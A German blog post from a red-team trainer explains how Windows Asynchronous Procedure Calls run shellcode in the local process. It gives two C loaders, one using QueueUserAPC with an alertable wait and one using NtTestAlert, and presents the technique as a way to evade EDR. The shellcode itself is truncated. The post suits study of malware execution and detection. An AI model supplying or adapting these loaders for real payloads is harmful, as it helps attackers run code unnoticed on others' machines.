Zurück

Shellcode Execution via Asynchronous Procedure Calls

Im Rahmen der Vorbereitungen für mein Endpoint Security Insights Training habe ich mich ein wenig mit dem Thema Asynchronous Procedure Calls (APC) beschäftigt. Obwohl es bereits einige Artikel zu diesem Thema gibt, soll dieser kompakte Blogbeitrag die wesentlichen Aspekte von APC im Kontext der Shellcodeausführung mit besonderem Augenmerk auf local execution (self-injection) behandeln. Mein Ziel ist es, verständlich zu erklären, was APCs sind, wie sie initiiert werden und wie APC für die Ausführung von Shellcode genutzt werden können.


Disclaimer

 

Dieser Artikel stellt keine neue Forschung dar; es gibt bereits zahlreiche Beiträge über die Verwendung von APC in Verbindung mit der Ausführung von Shellcode (siehe Quellenverzeichnis). Der Zweck dieses Textes ist rein akademischer Natur; er dient ausschließlich Forschungszwecken und sollte keinesfalls für unethische oder illegale Aktivitäten verwendet werden. Ich erhebe keinen Anspruch auf Richtigkeit oder Vollständigkeit.

Asynchronous Procedure Calls

Asynchronous Procedure Calls, kurz APC, sind ein Meachnismus unter Windows – und möglicherweise auch in anderen Betriebssystemen, was ich derzeit nicht sicher sagen kann –, der die Planung der asynchronen Ausführung von Code ermöglicht. "Asynchron" bedeutet in diesem Kontext, dass bestimmte Operationen oder Funktionsaufrufe initiiert werden können, ohne dass der ausführende Prozess oder Thread darauf warten muss, dass diese Operationen abgeschlossen sind. Im Gegensatz dazu würde in einem synchronen Ausführungsmodell ein Prozess oder Thread eine Aufgabe starten und müsste dann die Ausführung weiterer Operationen blockieren bzw. warten, bis die aktuelle Operation vollständig abgeschlossen ist, bevor mit der nächsten Operation fortgefahren werden kann. Das Ergebnis einer asynchronen Operation wird dann zu einem späteren Zeitpunkt über einen Callback-Mechanismus zurückgeliefert.

Eine wichtige Eigenschaft von APC unter Windows ist, dass APC innerhalb einer APC-Queue nur dann im Kontext eines Threads ausgeführt bzw. abgearbeitet werden, wenn sich der Thread in einem alertable state befindet. Um einen Thread in diesen Zustand zu versetzen, können beispielsweise die Funktionen SleepEx(), WaitForSingleObjectEx(), SignalObjectAndWaitEx(), SignalObjectAndWait() und WaitForMultipleObjectsEx() verwendet werden. 

Es sollte auch erwähnt werden, dass es unter Windows verschiedene Arten von Asynchronous Procedure Calls gibt, darunter user-mode APC und kernel-mode APC. Eine detaillierte Behandlung aller APC-Typen würde den Umfang dieses Artikels übersteigen. Daher konzentrieren wir uns in diesem Artikel ausschließlich auf user-mode APC im Kontext von QueueUserAPC. Für diejenigen, die ein wenig mehr über die unterschiedlichen Arten von APC erfahren möchten, empfehle ich diesen Artikel und den darauf aufbauenden Artikel von Ori Damaris. Dieses Video gibt auch einen guten Einblick in APC.

Concept of APC

Grundsätzlich stellt sich die Frage, warum APCs für die Ausführung von Shellcode via local execution oder Remote Process Injection interessant sein können. Aus dem einfachen Grund, dass z.B. mittels der Funktion QueueUserAPC() Shellcode ausgeführt werden kann, ohne dass z.B. mittels CreateThread() im lokalen Kontext oder CreateThreadEx() im remote Kontext explizit ein neuer Thread gestartet werden muss. Insbesondere im Zusammenhang mit Remote Process Injection kann die Ausführung von Shellcode mittels eines neuen Threads zu Erkennungen durch den EDR führen, z.B. durch User-Mode Hooking oder registrierte Kernel Callback Routinen (z.B. PsProcessNotifyRoutine() oder PsThreadNotifyRoutine()).

Bei der Verwendung von user-mode APCs zur Ausführung von Shellcode, sei es im Kontext der lokalen Ausführung (Self-Injection) oder der Remote Process Injection, beginnt der Prozess immer mit der Erstellung eines neuen user-mode APCs, z.B. mit der Funktion QueueUserAPC(). Man kann sich einen APC wie einen Kunden in der Warteschlange (APC-Queue) an einer Kasse vorstellen, wo das First-in-First-out (FIFO) Prinzip gilt - also "wer zuerst kommt, mahlt zuerst". Im zweiten Schritt wollen wir den aktuellen Thread (Hauptthread) z.B. über WaitForSingleObjectEx() in einen alarmierbaren Zustand versetzen, wodurch die Initiierung bzw. Abarbeitung der aktuellen APCs im Thread angestoßen wird. Der folgende Code in C zeigt in einfachster Form, wie eine Shellcodeausführung über user-mode APCs aussehen kann. Bitte beachten Sie, dass an dieser Stelle kein Wert auf Evasion im Kontext von, RWX-Memory, unverschlüsseltem Shellcode etc. gelegt wird. Selbstverständlich ist jeder Leser eingeladen, den Code nach seinen Wünschen zu modifizieren, zu verbessern und zu erweitern.

// Ressources: 
// https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection

#include <windows.h>
#include <stdio.h>

int main() {

    unsigned char shellcode[] = "\xfc\x48\x83...";

        // Allocate memory for the shellcode.
    PVOID addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Copy the shellcode into the allocated memory.
    memcpy(addr, shellcode, sizeof(shellcode));

    // Queue a User APC to the current thread.
    QueueUserAPC((PAPCFUNC)addr, GetCurrentThread(), NULL);
    // PAPCFUNC is a pointer to a function that is called when the APC is executed.
    // (PAPCFUNC)addr is a cast of the shellcode memory address to a function pointer type that is compatible with APC calls.
    // GetCurrentThread() retrieves a pseudohandle for the current thread.
    // The last parameter is a NULL pointer, which means no argument is passed to the APC function.


    // This function call makes the current thread enter an alertable wait state indefinitely.
    WaitForSingleObjectEx(GetCurrentThread(), INFINITE, TRUE);
    // An alertable wait state is required for APCs to be executed. 
    // INFINITE means the wait does not time out. The thread will wait here until an APC is executed or another form of wake-up is triggered.
    // The TRUE parameter indicates that the wait is alertable, which allows APCs to be executed.

    return 0;
}

Empty APC Queue

Wie bereits erwähnt, muss im ersten Schritt ein neuer user-mode APC innerhalb der APC-Queue im Kontext eines Threads mittels QueueUserAPC() erzeugt werden. Anschließend muss für die Initiierung der APCs innerhalb der APC-Queue der Thread z.B. mittels WaitForSingleObjectEx() in einen alertable state versetzt werden. Erst dann wird die asynchrone Ausführung der aktuell vorhandenen APCs gestartet. Eine Alternative dazu bietet die undokumentierte native Funktion NtTestAlert, die die Abarbeitung anstehender APCs innerhalb der APC-Queue erzwingt, ohne dass der Thread explizit in einen alertable state gesetzt werden muss. 

Mit anderen Worten, der Hauptzweck von NtTestAlert() besteht darin, zu prüfen, ob der aufrufende Thread noch ausstehende APCs in der Warteschlange (Queue) hat, und diese, falls vorhanden, zu dispatchen und auszuführen. Wenn die APC-Queue leer war, bevor NtTestAlert() aufgerufen wurde, hat die Funktion keine Auswirkungen. Durch dieses Verhalten ist NtTestAlert() nützlich, um sicherzustellen, dass alle anstehenden APCs für einen Thread verarbeitet werden, z. B. bevor der Thread eine Operation durchführt, die einen bekannten Zustand der APC-Queue erfordert, oder in unserem Fall, um die Ausführung von Shellcode über QueueUserAPC() einzuleiten.

// Ressources: 
// https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert

#include <windows.h>
#include <stdio.h>

// Define the prototype of the NtTestAlert function.
typedef NTSTATUS(NTAPI* PFN_NTTESTALERT)();
// NTAPI is a calling convention that is used for system functions.
// PFN_NTTESTALERT is a pointer to a function that returns NTSTATUS and takes no parameters.

int main() {

    unsigned char shellcode[] = "\xfc\x48\x83...";
    // GetModuleHandleA retrieves a module handle for the specified module.
    HMODULE hNtdll = GetModuleHandleA("ntdll");
    
    // Get a pointer to the NtTestAlert function.
    PFN_NTTESTALERT NtTestAlert = (PFN_NTTESTALERT)GetProcAddress(hNtdll, "NtTestAlert");
    // hNtdll is the handle to the DLL module that contains the function.
    // "NtTestAlert" is the name of the function.

    // Allocate memory for the shellcode.
    PVOID addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // copy the shellcode to the allocated memory.
    memcpy(addr, shellcode, sizeof(shellcode));

    // QueueUserAPC queues a user-mode Asynchronous Procedure Call (APC) to the specified thread.
    QueueUserAPC((PAPCFUNC)addr, GetCurrentThread(), NULL);
    // PAPCFUNC is a pointer to a function that is called when the APC is executed.
    // (PAPCFUNC)addr is a cast of the shellcode memory address to a function pointer type that is compatible with APC calls.
    // GetCurrentThread() retrieves a pseudohandle for the current thread.
    // The last parameter is a NULL pointer, which means no argument is passed to the APC function.

    NtTestAlert();

    return 0;
}

Summary

Zum Abschluss dieses doch sehr kompakten Blogbeitrags noch eine kurze Zusammenfassung. Es wurde erklärt, dass APCs für die Ausführung von Shellcode verwendet werden können. Dadurch ist es einem Angreifer (Red Teamer) möglich, auf die dezidierte Erstellung eines neue Threads via CreateThread() im lokalen Kontext oder CreateThreadEx() im remote process Kontext zu verzichten. Stattdessen ermöglicht die Nutzung von APCs die aynschrone Ausführung des Shellcodes direkt im Kontext des Hauptthreads. Obwohl in diesem Artikel lediglich die lokale Ausführung (Self-Injection) behandelt wurde, denke ich, dass diese Technik insbesondere bei Remote-Process-Injections im Kontext der Evasion (definiert als nicht prevented und nicht detected) von Endpoint Detection and Response (EDR)-Systemen von Nutzen sein kann. 

Wie bereits erläutert, wird im ersten Schritt mittels QueueUserAPC() ein neuer APC erstellt und die Initiierung kann entweder erfolgen, wenn der Thread in einen alertable state gebracht wird oder wenn die Initiierung der APCs mittels der nativen Funktion NtTestAlert() erzwungen wird.

Ich hoffe, ich konnte Ihnen mit diesem Artikel einen kleinen Einblick in die Funktionsweise von APC im Zusammenhang mit der Ausführung von Shellcode geben und bedanke mich für das Lesen. Bis zum nächsten Artikel.

Happy Hacking!

Daniel Feichter @VirtualAllocEx

Zuletzt aktualisiert 31.03.24 15:56:42 31.03.24
Daniel Feichter